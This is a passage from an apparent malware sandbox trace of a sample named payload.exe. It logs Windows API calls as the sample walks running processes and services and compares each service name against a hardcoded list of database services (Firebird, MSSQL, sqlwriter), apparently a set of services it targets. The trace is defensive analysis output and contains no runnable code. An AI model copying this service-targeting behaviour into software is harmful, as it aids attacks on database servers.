(lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0127.093] lstrlenW (lpString="Power") returned 5 [0127.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0127.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0127.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0127.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0127.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0127.093] lstrlenW (lpString="ProfSvc") returned 7 [0127.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0127.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0127.093] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0127.093] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0127.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0127.093] lstrlenW (lpString="RpcEptMapper") returned 12 [0127.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0127.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0127.093] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0127.093] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0127.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0127.094] lstrlenW (lpString="RpcSs") returned 5 [0127.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0127.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0127.094] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0127.094] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0127.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0127.094] lstrlenW (lpString="SamSs") returned 5 [0127.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0127.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0127.094] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0127.094] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0127.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0127.094] lstrlenW (lpString="Schedule") returned 8 [0127.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0127.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0127.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0127.094] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0127.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0127.094] lstrlenW (lpString="SecurityHealthService") returned 21 [0127.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0127.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0127.094] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0127.228] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0127.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0127.228] lstrlenW (lpString="SENS") returned 4 [0127.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0127.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0127.228] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0127.228] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0127.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0127.228] lstrlenW (lpString="ShellHWDetection") returned 16 [0127.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0127.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0127.228] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0127.228] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0127.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0127.228] lstrlenW (lpString="Spooler") returned 7 [0127.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0127.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0127.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0127.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0127.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0127.229] lstrlenW (lpString="StateRepository") returned 15 [0127.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0127.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0127.229] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0127.229] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0127.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0127.229] lstrlenW (lpString="SysMain") returned 7 [0127.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0127.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0127.229] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0127.229] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0127.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0127.229] lstrlenW (lpString="SystemEventsBroker") returned 18 [0127.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0127.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0127.229] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0127.229] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0127.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0127.229] lstrlenW (lpString="Themes") returned 6 [0127.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0127.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0127.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0127.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0127.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0127.229] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0127.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0127.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0127.229] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0127.229] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0127.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0127.229] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0127.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0127.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0127.229] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0127.230] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0127.230] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3e59c18 | out: hHeap=0x510000) returned 1 [0127.230] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x314 [0127.234] Process32FirstW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.234] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0127.235] lstrlenW (lpString="System") returned 6 [0127.235] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0127.236] lstrlenW (lpString="smss.exe") returned 8 [0127.236] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.236] lstrlenW (lpString="csrss.exe") returned 9 [0127.236] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0127.237] lstrlenW (lpString="wininit.exe") returned 11 [0127.237] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.238] lstrlenW (lpString="csrss.exe") returned 9 [0127.238] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0127.238] lstrlenW (lpString="winlogon.exe") returned 12 [0127.238] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0127.239] lstrlenW (lpString="services.exe") returned 12 [0127.239] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0127.239] lstrlenW (lpString="lsass.exe") returned 9 [0127.239] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.240] lstrlenW (lpString="svchost.exe") returned 11 [0127.240] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0127.241] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0127.241] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0127.241] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0127.241] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.242] lstrlenW (lpString="svchost.exe") returned 11 [0127.242] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0127.243] lstrlenW (lpString="dwm.exe") returned 7 [0127.243] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.243] lstrlenW (lpString="svchost.exe") returned 11 [0127.243] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.244] lstrlenW (lpString="svchost.exe") returned 11 [0127.244] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.244] lstrlenW (lpString="svchost.exe") returned 11 [0127.244] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.245] lstrlenW (lpString="svchost.exe") returned 11 [0127.245] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.246] lstrlenW (lpString="svchost.exe") returned 11 [0127.246] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.246] lstrlenW (lpString="svchost.exe") returned 11 [0127.246] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.247] lstrlenW (lpString="svchost.exe") returned 11 [0127.247] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.248] lstrlenW (lpString="svchost.exe") returned 11 [0127.248] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.248] lstrlenW (lpString="svchost.exe") returned 11 [0127.248] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.249] lstrlenW (lpString="svchost.exe") returned 11 [0127.249] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0127.250] lstrlenW (lpString="spoolsv.exe") returned 11 [0127.250] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.250] lstrlenW (lpString="svchost.exe") returned 11 [0127.250] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0127.251] lstrlenW (lpString="audiodg.exe") returned 11 [0127.251] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0127.252] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0127.252] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0127.252] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0127.252] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0127.253] lstrlenW (lpString="Memory Compression") returned 18 [0127.253] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0127.253] lstrlenW (lpString="sihost.exe") returned 10 [0127.253] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.254] lstrlenW (lpString="svchost.exe") returned 11 [0127.254] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0127.255] lstrlenW (lpString="taskhostw.exe") returned 13 [0127.255] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0127.255] lstrlenW (lpString="msoia.exe") returned 9 [0127.255] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0127.256] lstrlenW (lpString="userinit.exe") returned 12 [0127.256] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0127.256] lstrlenW (lpString="explorer.exe") returned 12 [0127.256] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0127.257] lstrlenW (lpString="SearchUI.exe") returned 12 [0127.257] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0127.258] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0127.258] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0127.258] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0127.258] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0127.259] lstrlenW (lpString="mobsync.exe") returned 11 [0127.259] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0127.260] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0127.260] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0127.260] lstrlenW (lpString="payload.exe") returned 11 [0127.260] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0127.261] lstrlenW (lpString="cmd.exe") returned 7 [0127.261] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0127.261] lstrlenW (lpString="conhost.exe") returned 11 [0127.261] Process32NextW (in: hSnapshot=0x314, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0127.262] CloseHandle (hObject=0x314) returned 1 [0127.262] Sleep (dwMilliseconds=0x1f4) [0127.909] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x54ebc8 [0128.027] EnumServicesStatusExW (in: hSCManager=0x54ebc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0128.028] GetLastError () returned 0xea [0128.028] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1bc4) returned 0x5b1860 [0128.028] EnumServicesStatusExW (in: hSCManager=0x54ebc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5b1860, cbBufSize=0x1bc4, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5b1860, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0128.028] CloseServiceHandle (hSCObject=0x54ebc8) returned 1 [0128.029] lstrlenW (lpString="AppXSvc") returned 7 [0128.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0128.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0128.029] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0128.029] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0128.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0128.029] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0128.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0128.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0128.029] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0128.029] lstrcmpiW (lpString1="mssqlserver", 